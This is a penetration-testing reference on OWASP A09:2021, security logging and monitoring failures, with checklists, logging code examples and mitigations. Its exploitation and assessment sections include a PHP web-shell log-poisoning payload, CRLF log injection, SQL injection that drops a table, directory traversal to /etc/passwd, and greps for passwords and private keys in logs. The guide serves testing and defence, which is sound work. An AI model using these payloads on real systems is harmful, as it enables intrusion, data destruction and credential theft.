OWASP A09:2021 - Security Logging and Monitoring Failures

Overview

Security Logging and Monitoring Failures occur when applications fail to detect, escalate, and respond appropriately to active breaches. Without proper logging and monitoring, breaches cannot be detected, and attackers can maintain persistence, pivot to additional systems, tamper with data, or destroy evidence.

CWE Mappings: CWE-778 (Insufficient Logging), CWE-223 (Omission of Security-relevant Information), CWE-532 (Insertion of Sensitive Information into Log File), CWE-117 (Improper Output Neutralization for Logs)

Common Failure Scenarios

1. Insufficient Logging

• Authentication failures not logged

• High-value transactions without audit trails

• Missing logs for privilege escalations

• Failed input validation attempts not recorded

2. Inadequate Log Content

• Logs missing critical context (user ID, timestamp, source IP)

• Generic error messages without actionable details

• Missing correlation IDs for distributed systems

• Insufficient detail for forensic analysis

3. Poor Log Management

• Logs stored locally without centralization

• No log retention policies

• Logs accessible to unauthorized users

• Missing log integrity protection

4. Ineffective Monitoring

• No real-time alerting on suspicious activities

• Thresholds set too high (alert fatigue avoidance gone wrong)

• No correlation between different log sources

• Alerts not reaching appropriate personnel

Impact on Penetration Testing

What This Means for Pentesters

• Successful attacks may go undetected for extended periods

• Lateral movement and data exfiltration can occur silently

• Evidence of compromise may be minimal or non-existent

• Organizations cannot effectively respond to breaches

Red Team Implications

• Extended dwell time possible

• Persistence mechanisms less likely to be detected

• Data exfiltration can occur over longer periods

• Clean-up of attack traces may be unnecessary

Detection During Assessment

Reconnaissance Phase

# Check for common log files and their permissions
find / -name "*.log" -type f 2>/dev/null
find /var/log -type f -readable 2>/dev/null
ls -la /var/log/

# Look for centralized logging solutions
nmap -p 514,601,6514 <target>  # Syslog ports
nmap -p 9200,5044,5601 <target>  # Elasticsearch, Logstash, Kibana
nmap -p 8080,8088 <target>  # Splunk

Application Testing

# Test if failed logins are logged
import requests

# Multiple failed login attempts
for i in range(10):
    r = requests.post('https://target.com/login', 
                     data={'username': 'admin', 'password': f'wrong{i}'})
    
# Check if account gets locked or alerts triggered

Log Injection Testing

# Test for log injection vulnerabilities
curl -X POST "https://target.com/login" \
  -d "username=admin%0A[FAKE LOG ENTRY] User admin successfully logged in%0A&password=test"

# LDAP injection in logs
username: admin)(cn=*))%00

# SQL injection attempts in logs  
username: admin'; DROP TABLE users; --

Manual Testing Methodology

1. Log Coverage Assessment

• Authentication Events: Test failed logins, successful logins, password changes

• Authorization Events: Test privilege escalations, access to restricted resources

• Input Validation: Test SQL injection, XSS, command injection attempts

• System Events: Test file uploads, downloads, configuration changes

2. Log Content Analysis

# Common log locations to check
/var/log/auth.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/mysql/error.log
/var/log/syslog
~/.bash_history

3. Sensitive Data in Logs

# Search for sensitive data patterns
grep -r "password\|passwd\|pwd" /var/log/
grep -r "credit.*card\|ssn\|social.*security" /var/log/
grep -r "[0-9]\{4\}[-\s][0-9]\{4\}[-\s][0-9]\{4\}[-\s][0-9]\{4\}" /var/log/
grep -r "BEGIN.*PRIVATE.*KEY" /var/log/

Common Vulnerable Patterns

Insufficient Error Logging

# Bad: Generic error handling
try:
    user = authenticate(username, password)
except Exception:
    return "Login failed"  # No logging of attempt

# Good: Comprehensive logging
try:
    user = authenticate(username, password)
    logger.info(f"Successful login for user {username} from {request.remote_addr}")
except AuthenticationError:
    logger.warning(f"Failed login attempt for user {username} from {request.remote_addr}")
    return "Login failed"

Missing Security Event Logging

// Bad: No audit trail for privilege changes
public void promoteUser(String userId, String newRole) {
    userService.updateRole(userId, newRole);
}

// Good: Comprehensive audit logging
public void promoteUser(String userId, String newRole) {
    String currentUser = SecurityContext.getCurrentUser();
    logger.audit("PRIVILEGE_ESCALATION", 
                Map.of("targetUser", userId, 
                      "newRole", newRole,
                      "modifiedBy", currentUser,
                      "timestamp", Instant.now()));
    userService.updateRole(userId, newRole);
}

Sensitive Data Exposure in Logs

# Bad: Logging sensitive information
logger.info(f"Processing payment for card {credit_card_number}")

# Good: Sanitized logging
masked_card = credit_card_number[:4] + "****" + credit_card_number[-4:]
logger.info(f"Processing payment for card {masked_card}")

Exploitation Techniques

Log Injection Attacks

# HTTP Header injection
curl -H "User-Agent: Mozilla/5.0%0A[INJECTED] Admin login successful%0A" http://target.com

# Parameter pollution for log confusion
POST /transfer HTTP/1.1
amount=100&to=attacker&amount=1000000&to=victim

Log Poisoning

# Inject malicious content that will be processed later
malicious_input = "<?php system($_GET['cmd']); ?>"
requests.post('/contact', data={'message': malicious_input})

# If logs are processed by web application, RCE possible
# Access: /logs/contact.log?cmd=whoami

Information Disclosure via Logs

# Access log files if permissions are weak
curl http://target.com/logs/
curl http://target.com/log.txt
curl http://target.com/access.log

# Common log exposure paths
/logs/
/log/
/admin/logs/
/debug/
/trace/

Assessment Tools

Log Analysis Tools

# GoAccess - Real-time web log analyzer
goaccess /var/log/apache2/access.log --log-format=COMBINED

# LogParser (Windows)
LogParser "SELECT * FROM access.log WHERE sc-status >= 400"

# Custom log analysis
awk '$9 >= 400 {print $1, $7, $9}' /var/log/nginx/access.log

Automated Testing Scripts

# Python script to test logging coverage
import requests
import time

def test_logging_coverage(base_url):
    tests = [
        # Failed authentication
        {'endpoint': '/login', 'data': {'user': 'admin', 'pass': 'wrong'}},
        # SQL injection attempt
        {'endpoint': '/search', 'params': {'q': "' OR '1'='1"}},
        # XSS attempt
        {'endpoint': '/comment', 'data': {'text': '<script>alert(1)</script>'}},
        # Directory traversal
        {'endpoint': '/file', 'params': {'path': '../../../etc/passwd'}},
    ]
    
    for test in tests:
        print(f"Testing: {test['endpoint']}")
        requests.post(f"{base_url}{test['endpoint']}", 
                     data=test.get('data'),
                     params=test.get('params'))
        time.sleep(1)

Testing Checklist

Log Coverage Assessment

• Authentication events (success/failure)

• Authorization failures

• Input validation failures

• System configuration changes

• High-value transactions

• Administrative actions

• File access attempts

• Network connection attempts

Log Content Quality

• Timestamps present and accurate

• User identification included

• Source IP addresses logged

• Session identifiers included

• Request details captured

• Response status codes logged

• Error messages detailed enough for troubleshooting

Log Security

• Logs protected from unauthorized access

• Log integrity verification mechanisms

• Secure transmission to centralized logging

• Appropriate retention policies

• Secure log storage and backup

Monitoring and Alerting

• Real-time monitoring implemented

• Appropriate alerting thresholds

• Alert recipients defined and tested

• Correlation rules for related events

• Automated response procedures

Common Log Locations by Technology

Web Servers

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/usr/local/apache2/logs/

# Nginx  
/var/log/nginx/access.log
/var/log/nginx/error.log

# IIS
C:\inetpub\logs\LogFiles\

Applications

# Java Applications
/var/log/tomcat/
/opt/tomcat/logs/
catalina.out

# .NET Applications  
Windows Event Logs
Application-specific log directories

# Node.js
Console output
PM2 logs: ~/.pm2/logs/

Databases

# MySQL
/var/log/mysql/error.log
/var/log/mysql/mysql-slow.log

# PostgreSQL
/var/log/postgresql/
/var/lib/postgresql/data/log/

# MongoDB
/var/log/mongodb/mongod.log

Mitigation Strategies

Implement Comprehensive Logging

import logging
import json
from datetime import datetime

class SecurityLogger:
    def __init__(self):
        self.logger = logging.getLogger('security')
        
    def log_auth_event(self, event_type, username, ip_address, success=True):
        event = {
            'timestamp': datetime.utcnow().isoformat(),
            'event_type': 'AUTHENTICATION',
            'sub_type': event_type,
            'username': username,
            'source_ip': ip_address,
            'success': success,
            'session_id': self.get_session_id()
        }
        
        if success:
            self.logger.info(json.dumps(event))
        else:
            self.logger.warning(json.dumps(event))

Secure Log Management

# Log rotation configuration
# /etc/logrotate.d/application
/var/log/application/*.log {
    daily
    rotate 30
    compress
    delaycompress
    missingok
    notifempty
    copytruncate
}

# Centralized logging with rsyslog
# /etc/rsyslog.d/50-default.conf
*.* @@log-server:514

Real-time Monitoring

# Sample ELK Stack configuration for security monitoring
# Logstash filter
filter {
  if [fields][type] == "security" {
    if [response_code] >= 400 {
      mutate { add_tag => [ "error" ] }
    }
    if [message] =~ /failed.login/ {
      mutate { add_tag => [ "auth_failure" ] }
    }
  }
}

Red Flags During Assessment

High Priority Issues

• No logging of authentication events

• Administrative actions not logged

• Sensitive data in plain text logs

• Logs accessible to unauthorized users

• No alerting on suspicious activities

Medium Priority Issues

• Generic error messages without context

• Logs stored only locally

• No log retention policy

• Missing timestamps or user identification

• Inadequate log protection mechanisms

Business Impact Analysis

Immediate Risks

• Inability to detect ongoing attacks

• Extended dwell time for attackers

• Difficulty in incident response

• Compliance violations (PCI DSS, HIPAA, GDPR)

Long-term Consequences

• Reputational damage from undetected breaches

• Legal liability for negligent security practices

• Inability to provide evidence for forensic analysis

• Difficulty in improving security posture

Tools for Detection and Testing

Open Source

• ELK Stack: Elasticsearch, Logstash, Kibana for log management

• Graylog: Open source log management platform

• OSSEC: Host-based intrusion detection system

• Fail2Ban: Intrusion prevention software

Commercial

• Splunk: Enterprise log management and SIEM

• QRadar: IBM security intelligence platform

• ArcSight: Micro Focus SIEM solution

• LogRhythm: Security intelligence platform

---

This reference is part of a comprehensive OWASP Top 10 penetration testing guide. Remember that proper logging and monitoring are defensive measures - as a pentester, their absence makes your job easier but represents a critical security gap for the organization.